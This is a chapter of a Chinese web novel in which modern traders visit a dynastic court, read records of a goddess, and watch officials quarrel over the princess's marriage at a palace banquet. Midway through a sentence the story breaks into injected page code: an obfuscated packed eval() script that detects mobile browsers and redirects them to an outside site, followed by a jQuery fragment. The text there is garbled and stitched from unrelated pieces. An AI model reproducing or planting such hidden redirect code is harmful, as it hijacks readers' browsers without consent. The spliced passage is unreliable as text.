348.孤枕难眠(大乾王朝篇)
作品:《上交国家:位面交易所创业团》 位面商铺正式开门营业的消息插上翅膀飘向四面八方,门开时,城中腿脚灵活的大家族们已在门外早早候着。
随着风铃声拉响,客似云来。
好在都是老主顾,都懂规矩,各家夫人小姐少爷掌柜们领了一份《位面商铺客户须知》便领着下人自行逛去。
客人自带“服务员”,连机器人的活都省下一大半,只消干点必要的安保、调停、巡逻工作。
唐老板陪善悦逛位面商铺的商场,直奔六楼电玩城。贺总去仓库理货,安师长盯监控,谢总安排午宴。
看长公主那架势,午餐想来是要在位面商铺用了。
可巧,他们正有此意。有些话,只能同“朋友”说。
自故友一个接一个离去后,位高权重的长公主再不得与三两好友喝花茶、推牌九的闲暇时光。并非公务繁忙,只不得心仪人罢了。
有人溘然长逝,有人芳踪难觅,有人为妇为母,有人寄居山野……终不似那年好风光。
身边人来来去去,兜兜转转留她一人孤枕难眠。
若阿伍还在,定要笑她“贵人不识愁滋味,为赋新词强说愁”,可倘若阿伍还在……
她又何必“酒入愁肠愁更愁”。
伸向酒壶的手被按住,善悦皱眉抬头。
唐芯不好意思笑笑,手下力道不减反增,夺过酒壶,眼里闪过几分疑惑与关切。
“这竹筒酒虽新奇,为身体着想不宜多饮。”
竹一亲酿新酒,从种竹子开始,灵竹灵泉酿灵酒,与旁的凡酒比简直一个天上一个地下。
她带回来的那点大多上供给了温斐斐和谢叔叔这两尊大佛,可见,这酒味道一定赞极了。
但温斐斐不打诳语,告诫过她,这酒滋味甚佳后劲也足,她这种小身板最多小酌一盏怡情便罢。
她不胜酒力,却还是个初入门槛的修仙者呢!善悦虽酒量大,身体素质棒,到底没修为傍身,还是少喝点为妙!
唐芯掂了掂竹筒,估摸还剩半筒,便搁置一边:“剩下的你明天再喝吧。”
善悦点头领受好意,执筷夹菜。跟唐芯这种滴酒不沾的小白不同,她是个老饕,方才盖子揭开她就嗅到了这酒的妙处,便是唐芯不阻止,她……呃……好吧,她说不定真要醉倒在这里。
酒不足饭饱,宾客尽欢。啜消食茶的时间,谢韵之开门见山:“我有些好奇那位善女的事迹,方便给我们些资料看看吗?”
见善悦思索,补充道:“我们初来乍到,自当客随主便。只是我们那儿的主流思想你也知道,我们说话做事随便惯了,不想哪句不对犯了禁忌给你们添麻烦。”
交易所从老板到员工尊重不同位面客人的信仰,主打一个只要东西卖出去,就是叫他当场成为某个连名字都不知道的神的信徒都行。不就是口头念叨两句嘛,又不会少块肉。(ˉ▽ ̄~) 切~~
以善悦的眼力见当然能看出他们骨子里的“不敬畏”感,谢韵之这个理由说得通,可他们明知她也是个“表面信仰”,这种事为何找到她头上?
况且,这般神神叨叨的事,向来分属国师工作范畴。
他们舍近求远是为哪般?
善悦眸光几闪,须臾,微微一笑:“行,我过会儿就命人整理出给你们送来。”
商场里渐渐多出几位新面孔,大多为中老年男子。善悦同他们告辞,往宫中去。
没一会儿,长公主家令送来一盘摆放工整的书文。
安若素将它们平铺在桌上,只占了小小一角:“怎么这么少?”
“看得出来皇室确实没多少信仰。”贺逸昇随手拿起面前一本翻看。
谢韵之不知在找什么,目光盯着桌面逡巡,随口回道:“你以为国师府就很有信仰了吗。”
以善悦办事的能耐,她能接触到的所有有关善女的消息必然都在这里了,包括国师府内流通的资料。
皇室和国师府,大乾两大最高权力机关加在一起能拿出来的善女消息都少得可怜,可想大乾人民的信仰大多停留在口头上罢了。
唐芯想了想,从客观事实出发:“友友们,这个国家就五十万人不到,地广人稀。”
没有人,哪儿来的信仰。
贺逸昇噗嗤一声笑出来:“一国之君统治人口五十万,听起来还没有县长权力大。”
安若素疑惑脸,刚刚不还一副半死不活的样子?
挑起他的伤心事:“美人藤找到了?”
“找到了。”贺逸昇神情一言难尽。唐芯补充:“斐斐说中等世界容不下它,传送的时候被弹出去了。”
现在藤在交易所,活得好好的,没死没失踪。
谢韵之条件反射抬腕看表,一点多了,已经过了温斐平常起床的点。
安若素眼尖,举起一张古朴陈旧的纸:“你要的是不是它?”
谢韵之凑近看,字迹清秀遒劲,第一人称口吻,内容大多是对子孙后辈的殷殷叮嘱,只在末尾提到两句有关神明的事。
“善女是祂的一重化身,她悲悯仁爱,吾爱她,吾不配爱她;祂的另一重化身……望吾儿谨记,这天下,是我大乾子民的天下!”
“另一重化身”后有一行字被涂掉了,大约有十六个字。
谢韵之放下纸,手指有节奏地轻敲桌面。
熊猫崽崽叼走纸扑进唐芯怀里,她看着看着眉头紧蹙:“善女的痕迹,是被人刻意抹去了吗?”
不怪她这么想,最后一句指向性实在太明显。但联系国师当今的地位,又与猜想不符。
善悦也说太祖是神明的死忠粉,这……爱之深,恨之切?O.o?
“对了。”唐芯抬头盯谢韵之,“你把这东西要来有何深意?”
“试探一下。”
“什么?”
——————
肃帝设晚宴携文武百官款待远道而来的四位贵客。
这种宴会多用分餐制,两人一桌。
原计划给四位贵客各单排一桌,被谢总坚决否了。她嘴上说着“不必麻烦,同大家一样便可”,心里土拨鼠尖叫,单人单桌?开什么玩笑!她,谢之之,可是个肉眼可见的脆皮,死都不会落单的!
于是肃帝高坐上首,往下一排从左到右长公主、太子、国师依次面朝众人。阶下第一排首位,唐芯、贺逸昇,谢韵之、安若素遥隔宽道相对。
谢韵之往安若素身边靠了靠,徜徉书海多年,她对宫宴有些难以启齿的ptsd,具体表现在:每时每刻都觉得有刁民想害朕!
安若素唤出掠影摆在两人中间,长剑银光冷冽,给谢韵之提供了莫大的心理安慰。
对面唐芯和贺逸昇就显得没心没肺多了,这位置好啊,既视奸(划掉)看清上面动作,又能将殿下众臣尽收眼底。
唐芯芯的吃瓜动作已经准备就绪,她有预感,今晚一定能啃到口大的。
贺逸昇默默把大龙虾挪到她那面,再把素菜推到中间,自己近前留肉菜。
交子日渐圆润,该多补充维生素和膳食纤维。他和唐芯芯不一样,他们还在长身体,要多补充蛋白质!(* ̄︶ ̄)
御厨的手艺自然绝佳。食材都是大清早从交易所运进宫中,再有现代保温技术加持,宫宴上的皇亲贵胄、臣子贵客们总算脱离了嚼吧冷炙油膏的苦日子。
但这种宴会又有几个人是诚心来吃的呢,诶~大乾人是!
三年饥荒让他们对待粮食愈加虔诚恭敬,便是某些奢靡享乐惯了的世家子弟也不敢在这种时候触皇帝霉头。
今上逼宫夺位的前因后果无人不晓,前几次朝堂内的大清洗犹历历在目。“眼高于顶的犟骨头”已成刀下亡魂,如今能坐在这儿的,不说安分,识相这块拿捏得很准。
因此,“大戏”直到酒过三巡又三巡,侍仆呈上水果点心时方姗姗而至。
殿末有人起身,持酒盏恭敬上前。肃帝垂眼,内侍总管会意,招来底下人吩咐几句,殿中舞乐便井然有序撤下,脚步声轻盈若无。
唐芯叉了块蜜瓜无甚滋味地咀嚼着,吃惯了蔬果园村特产灵果,普通水果普通的甜就好像无糖可乐,在嘴里过了一遭,什么感觉也无,如吃。
甚至不如凉白开清冽。
神识敏锐捕捉到殿中不寻常的信号,抬头与贺逸昇换了个眼神,手自然下伸把吃一半的蜜瓜喂给交子,轻调坐姿,确保过会儿无论发生什么意外情况他们都能顺利脱身。
没办法,实在是死怕了。‘兔叽垂耳’
对面,安若素微不可察冲她一颔首。
唐芯遂放下心来,继续保持吃瓜的姿态。
谢韵之小半身子和安若素交叠,视线不露痕迹地在殿内来回打转。
正所谓宴无好宴,今日这出,何人搭台?何人成角儿?
从那人起身到行至殿中不过过了几息,待他举杯行礼时,推杯换盏声、交谈声瞬间一扫而空。
“臣家中幼子倾慕长公主久矣,闻此良辰,特习剑舞一曲,愿献丑为陛下殿下与贵客们添乐。”
芯&素&一:哇哦O.O!
谢之之:O.o?
善悦面色不动,并无表示。肃帝爽快应允:“爱卿有心了。”
很快,从殿外走进一青衣执剑的年轻男子,瞧着约……二十?
唐芯看不明白,果断场外求助,叩门:【在吗~?】
【不在。】
Q小芯鼓起脸,拍门:【《惊!闺阁少男仰慕辅政长公主特献舞一曲,究竟是春心的萌动还是迷眼的权贵?》,现在在吗~?】
那边沉默许久,发来简讯——【……在忙~】
唐芯芯:。
可恶,她为什么是个秒懂女孩!(〃>皿<)
平心而论,台上那少年确有几分姿色,如唐芯这般被温斐养刁了眼光的人都真心实意地发出两声赞叹。
贺逸昇捡了葡萄让交子塞住她的嘴:要端住、端住啊唐老板!
唐芯闭嘴,不吐葡萄皮把整颗葡萄嚼吧嚼吧咽下去。眼神从台上滑到另一处台上。
大乾最高权力机关的四位核心领导人物面上依旧保持端庄,心里嘛……各有各的念头。
依她现在的眼力,顶多看出牧童是真的困了,强撑着精神目视前方,实则并无焦距。
对面谢韵之视线不在台上,而在席中逡巡。在座人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177442|168788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几乎都是交易所的熟客,她一边忙着把资料上的人名官职与本人对应,一边头脑风暴“揣度圣意”。
安若素是个好观众,对表演者报以极大尊重,目不斜视直至一曲终了。
舞剑少年半跪行礼:“草民户部侍郎幼子裴照衍参见陛下。”
“上前来,让朕与长公主仔细瞧瞧。”
少年依言,恭谨垂眉供上首打量。
良久,肃帝含着笑意的声音响起:“看模样是个好的,吾妹以为呢?”
长公主面色不善,沉下声,冷冷道:“皇兄若觉合心意,自行收着便是。”
台下咳嗽声乍起,不少老大人面如菜色,但无惊诧,显然是见惯了他们这位长公主“直言不讳”。
督察院尚未出列“请殿下慎言”,兵部尚书先站起来:“恭喜陛下,恭喜两位殿下,皇室又将添一喜讯,实乃天下万民之幸。”
长公主腾地站起来作势欲砍死这站着说话不腰疼的老匹夫,肃帝眼神示意内侍总管上前劝说,上下嘴唇一碰,拍板道:“既然皇妹无异议,那便由朕这个皇兄做主将……”
“陛下三思——”
唐芯两只大眼瞪得溜圆,还没消化完上一口瓜,眼神又随着这道声音看向对面的玄壹的旁边的旁边的朱袍老头,emm……应该也不老,天命之年,发须未白,气势内敛醇厚,印象中是常伴肃帝左右的重臣,吏部尚书陈鼎信。
大乾权力架构相比华国历朝历代简明扼要得多,皇帝总摄吏户礼兵刑工六部并督察院、大理寺、五军都督府等机构,不设丞相、不设内阁。
国师府属于独立于朝政运行的特殊部门,乃皇帝与百姓的直接桥梁。
六部名义上平等,但人情社会,老传统了,吏部的地位总是比同僚高上半级。作为吏部现任最高长官,陈鼎信出声,肃帝自然是要听他一言。
“爱卿?”
御座上的帝王姿态亲近,似是对这位肱股之臣信任有加。
谢韵之半阖眼,果然,都是“德艺双馨”的老艺术家。
陈鼎信起身朝座上一拜:“长公主殿下金枝玉叶,文韬武略,战功赫赫,不仅是陛下之手足,更是大乾之镇石。殿下的婚姻大事,更应细细斟酌,若草率下定,怕是……不宜。”
礼部尚书却站出来唱反调:“婚姻大事更不该拖延,殿下已年过二十又四,若非此前战事频发兼天时不美,早该成婚享琴瑟和鸣之乐。长公主殿下为大乾立下汗马功劳,我等臣公又怎能再拖累殿下忧思疲累……”
唐芯听到一半,蹙眉,与贺逸昇对视一眼。很好,确认过眼神,小伙伴也觉得对面并非善茬。
上首肃帝神情不变,善悦已被劝坐下,换上阴恻恻的瘆笑,手里嘎吱嘎吱捏着核桃……粉。
牧童的瞌睡虫早已被惊跑,盯着果盘里红皮黑心的蛇果放缓呼吸。
刑部尚书侧头瞄向身侧的工部尚书,正巧撞上后者望过来的视线,在空中一碰不激起一丝波澜,两人同时转回去,端起酒杯装聋作哑。
可待礼部尚书言毕,刑部侍郎又跳出来声援陈鼎信。刑部尚书手一抖,好酒撒了半盏,心痛不已,连声道可惜。
两方重臣就“该不该让裴照衍做驸马”一事争辩起来,两位当事人反倒成了无关紧要的陪客。
肃帝没脾气似的把玩着玉勺,神色不明。
这么吵下去出不了结果,大晚上的,他们年纪大觉少,别人还要睡呢。
裴照衍“砰”地一声双膝跪地,叩首,朗声道:“草民倾慕殿下许久,求陛下恩典。”
这气血十足的一声喊压过了诸位老大人,两方人立时收声,仰头看上首:“请陛下圣裁。”
肃帝抬手,内侍总管躬身递上一卷明黄布帛。
“裴……”
“陛下——”不知从哪儿蹿出一只猴儿,又双叒叕截断陛下圣言。
肃帝面色稍沉,盯着嘿嘿傻笑的平安侯语气不善道:“爱卿有何要事禀奏?”
“要事”二字咬得极重,言外之意,他要说不出令陛下满意的话,擎等着挨板子吧。
平安侯行一五体投地大礼,发自肺腑般诚恳道:“我也心悦长公主殿下很多年,请陛下也将我赐予殿下。”
一顿,紧接着嚎出一句传世名言:
“我愿意嫁给殿下,哪怕是妾——!”
!!!???
一场接风宴就这么虎头蛇尾散了,唐芯恍恍惚惚同善悦约好明早见,带着被雷得外酥里嫩的脑子飘回令她安心的窝。
左脑回荡传世名言:我愿意嫁给殿下,哪怕是妾~——
右脑反复重料人生三问:我是谁?我在哪儿?我要干嘛?
贺逸昇从厨房端出小火慢熬煴在锅里的老母鸡参汤:“快来趁热喝。”
安若素一手拎一个把深度思考ing的俩摁进椅子,捧起自己那碗加重料掩盖参味的汤小口轻呷。还是能尝到参味,但已经是她能接受的程度了。
谢韵之闭了闭眼,缓缓吐出一口浊气,下定论:“我懂了。”
O.o?
她懂什么了?
唐芯两手交握,眼神恳切:“求解!”

